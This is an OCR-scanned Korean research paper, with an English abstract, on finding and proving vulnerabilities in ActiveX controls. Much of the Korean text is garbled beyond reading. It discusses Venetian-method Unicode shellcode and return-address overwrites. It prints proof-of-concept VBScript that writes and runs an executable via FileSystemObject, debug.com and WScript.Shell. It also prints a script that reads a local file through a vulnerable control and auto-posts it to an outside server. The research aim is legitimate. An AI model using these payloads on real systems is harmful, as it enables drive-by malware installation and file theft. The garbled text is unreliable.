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ABSTRACT

To provide visitors with the various services, Many web sites distribute many ActiveX controls to them because ActiveX
controls can overcome limits of HIML documents and sctipt languages. However, PC can become dangerous if it has
unsecure ActiveX controls, because they can be executed in HTML documents. Nevertheless, many web sites provide visitors
with ActiveX controls whose security are not verified. Therefore, the verification is needed by third party to remove
vulnerabilities in ActiveX controls.

In this paper, we introduce the process and the technique to find vulnerabilities. The existing proof codes are ot valid
because ActiveX controls are different from normal application and domestic environments are different from foreign
environments. In this paper, we introduce the technique to prove vulnerabilities in ActiveX control.

Keywords : ActiveX Controls; Vulnerability Analysis; Proving Vulnerability.
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7A€ ActiveX Controle]l @AR Uni-
code TAEE Z2Ia¥v|’} DBCS EAd=z o
Al Agetka 7Pt A, 4 ActiveX Con-
trolelAE ActiveX Controldl YAz Uni~
code EAE AHolA HALHEZIL ST £
Ak, °1# AgeMlE Unicode EAEE A
< o) {3 AL 4 e d7=E FAgot gl
Chris Anley9 “Creating Arbitrary Shell-
code In Unicode Expanded Strings A&
Unicode VAIE=E 2437] $181 Venetian
Method® A¢retch ¥ Venetian Method:
a9 114dMA"E f3te d3sr) "0x41 0x42
0x43 0x44 0x45 0x46'd 9 <& <Azl
E29 “0x41 0x43 0x45 0x46 0x44 0x42”
£ g3y, 39 FAYL Unicode HEE A
AW “0x41 0x00 0x43 0x00 0x45 0x00
0x46 0x00 0x44 0x00 0x42 0x007°] ¥,
tzel og FEHoz Yste AI=l 0x41
0x42 0x43 0x44 0x45 0x467°] BdE,

8A|%F, Chris Anley7} AlHet WHEe &9 7}
T FAEZT o)Fojz d3Ree olrh. Shell-
coder’s Handbook|4& Venetian Method
£ WHAA Unicoded] FHo|WA ASCIT £4
ZAF,  guThE: o83l dang e
ASCII Venetian MethodE A<tatc), M4
ASCII Venetian Method 9A] tjZy 2%,
tzgrt 2axe X, dadd A drcz o
FojZh, tz:e FAPdEE Unicode vl|E e
2 o]FolA opcodeTeZ Venetian Method
£ #¥5le vang A4 davst dzdd
d3=g oA 4o dz=2 wAdstu, A4
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HEHERS HAYH HF FZA return
address® +JAA HAD} Ao Fo uwlzl L
2)7] W&ol thakd SAdA NFAH e AF =
=g 23sle= Aol LA Yrl. 53] ActiveX

sty 482  Oxdl 0242 0x43 Ox4d Oxd45 0x46

Y A ¢ 0xdl 0x43 0x45 0x46 Oxd4 0xd2

Unicode ¥4 ¥ 244 Oxdl 0x00 0x43 Ox00 Ox45 0x00 Oxd6 0x00 Oxdd Ox00 0x42 0x00

tl2< & AR i Ox4l 0x42 0x43 Oxdd Ox45 Ox46 0246 Ox00 Ox4d (%00 (x42 Ox00

ag 11. Venetian MethodE& 0128 Unicode 3=

ControldlAlE return addressE A=E ux
DBCS A2 98 0x01 ~ 0x80 Alo]e] Hlo|E
2 0|27 return addressE Aol 7] o
Fo return address A€ Z&= F& Holt},

31219, Internet Explorertt Netscaped
e dugeAdME navigator LEAEE F
AZ 3=y AYPEE PCY ¢ HeeA FF
WA S$gAA wAE do B [T HEE
g 4 oy, 9 Hak$A Y navigator 2EBA
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o2 A4 F 3o A AF =
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4.3 ZEMA Al FobF

ZaAx A HFHL AR PCOl HE Z=
oy AXE B A HAFS 7P ZEA
2 A HFHE o] 83t Aga PCol HE =
2738 Axdr] gdde FE2 HTA(HTmI
Application) #¥& o83t HTA L
HTML 393 fA8A%, Bty Adg 33
geths 4] gtk wehA, g8t HTMLAA =
& gle 92E gd Aoy d2E 3 g
5% 7Fesith. HTACA wtoje] stdg A8
7] 98 AFg3ke WHL2 Microsoft XMLHTTP
g o]g3 9Fel e vy LS golem,
ADODB.Stream% ©]43] ulojyg] #YE PC
o AAshe Wlelitt. kARl BlsR] o] Rl
olEZ AMEE & 7] WiEell, HZ Ieoix= http-
equivel &M AtE Ba S Abgat 1P

23AYE QoldME dAE fdne Y ¢
AAT, 2B 1294HF http-equive H2E
HdS AAsle A Scripting.FileSystem
Object® AME3ste Hlole] AdE YAste 71
& arelieth. o WAl SBCSE AMStE 9%
Sz E BE BX7} & wlo|Eoly] wid
23X, DBCSE AHgdte 9Ef2dAe &
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[(script language=vbscripty
malware = “FF”
Sel fss = CreateObject("Seripting.FileSystemObject’)
Set f = fso CreateTextFilet’c:\malware.exe’. ForWriting)

mal = IntC&H" & malware)
.Write Chr(mal)
f.Clase

K/script)

Msweetlie dat
la

[DWEAD 0090 0003 0000 0004 0000 FFEF 0000 00BB 0000 0000 000D 0040
[DWO0R0 0000 0000 6000 D000 0000 0600 0000 0600 0000 OO0 000 00O

R CX
0034
W

Q

I8 12. http-equivoll 2|3 Mtel vlo|af ot MM Ji# 12 14, Blo|42] DY M4E #3t debug.com 24 T of

)

=

[(script language=vhs)
Sat. fs0 = teObiect{"Scnpting. FileSy Object”)

Set f = fs0.CreateTexlFilel “sweetlie.lxt” . true)
{ Writs LineCNswestlie.dat”)
£.WriteLine("A”)
£ WriteLins"DW5A4D 0090 0003 0000 0004 0000 FFFF 0000 00BS 0000 0000 0000 00407
1. WriteLine’DW0000 0000 0000 0000 0000 0A00 GO0 0000 0000 0000 0000 G000 HUOC)
£ WriteLine(”)
1. WriteLine('R CX")
£ WriteLine("0034°)
f.WriteLine("W7)
£.WriteLin=("Q")
£.Close
Set shell = GreateObject(*WSeript.Shell”)
shell Run “debug.com { sweetlie.txt” true.i
shell Run “comumand /c ran sweetlie.dat sweetls.exe” true. |
shell Bun “sweetlic.exe”
{/scripty

Robiect i=vulX  classidm clsid - RRARIHX- T RIA-R XK XX KO
(object?
[(script language=vbscripty
document.write “(farm name="tmportant, file’ method="past’
action="http://checker. web.server/saveFile.asp’}”
bytearr = vulactivex.readPite(’c:\important. file’)
str= "
For i = [ To UBound(bylearr)+1
str = str & Hox(AscB(MidB(byterr. i. 1)) & °
Next,
decument. write “(nput type='hidden’ name="filecontent’ value=" & str & "
dacument. write *(npul type="submit’ value="Submit’X/form)”
[(/scripty
(script language=vbsenipt
document.important_file.submit()
[scripty

12l 13. ByteRageol| 2lsh MMl wto|4z] ojd M4 71 32 15, Hlolz| HAg 2ifE WS 9
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debug.com Z2I1H-& 64K Hlo|E o3l 3}
Atk e = glovmg FHeEy 7HEL e A
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4.4 md ¢j7| FoH
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components/activex/safety.asp.
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